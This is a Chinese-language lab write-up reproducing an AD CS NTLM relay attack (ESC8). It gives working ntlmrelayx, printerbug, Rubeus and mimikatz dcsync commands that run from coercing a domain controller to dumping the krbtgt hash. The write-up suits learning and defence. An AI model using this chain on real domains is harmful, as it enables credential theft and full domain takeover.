一、漏洞簡單介紹:
adcs支持幾種基於HTTP的通過管理員可以安裝的其他AD CS服務器角色功能。這些基於http的證書注冊接口都是易受攻擊的NTLM中繼攻擊,因為沒有啟用NTLM中繼保護,而且Authorization HTTP 標頭明確只允許通過 NTLM 身份驗證,因此更安全的協議(如 Kerberos)無法使用。
二、環境部署及介紹
(不一定需要輔dc,任意域內機器安裝adcs即可)
角色 | IP | 系統信息 |
攻擊機 | 192.168.237.131 | Kali |
DC主機 | 192.168.237.22 | win2012R2 |
輔DC | 192.168.237.24 | win2012R2 |
PS:不能relay自身否則腳本會報錯
在dc輔控上裝上adcs(這里我主dc也裝了),勾選1,4默認安裝即可
同時看一下dc和dc輔控是否在domain computers組里面,不在就自己加入即可,否則會利用失敗
三、漏洞利用
域內定位ca機器:certutil -config - -ping
安裝impacket舊版本沒有adcs命令:https://github.com/ExAndroidDev/impacket/tree/ntlmrelayx-adcs-attack
攻擊機器開啟監聽:python3 ntlmrelayx.py -t http://192.168.237.22/certsrv/certfnsh.asp -smb2support --adcs
利用任意的觸發機器賬號認證,使輔域進行強連回來,這里使用的是打印機服務:python printerbug.py domain/user:password@192.168.237.22 192.168.237.131
ntlmrelayx成功進行relay,並獲取到證書信息
利用上面獲取到的證書,獲取tgt並注入:
Rubeus.exe asktgt /user:DC$ /certificate:MIIRFQIBAzCCEN8G /ppt
出現了如何下報錯:KRB-ERROR (16) : KDC_ERR_PADATA_TYPE_NOSUPP
這里解決打開組策略,計算機配置\Windows 設置\安全設置\本地策略\安全選項,找到配置 Kerberos 允許的加密類型,將下面全部勾選即可
再次重新測試發現成功獲取到了TGT
然后利用mimikatz,進行導出hash:KERBEROS::List lsadump::dcsync /user:krbtgt
補充:獲取TGT的時候遇到的是KRB-ERROR (62) : KDC_ERR_CLIENT_NOT_TRUSTED這種報錯,有可能是時間不同步的原因,可重啟環境重新測試。
參考鏈接:
https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf
https://mp.weixin.qq.com/s/wW94EiPiOmJsWeFR64Dg1A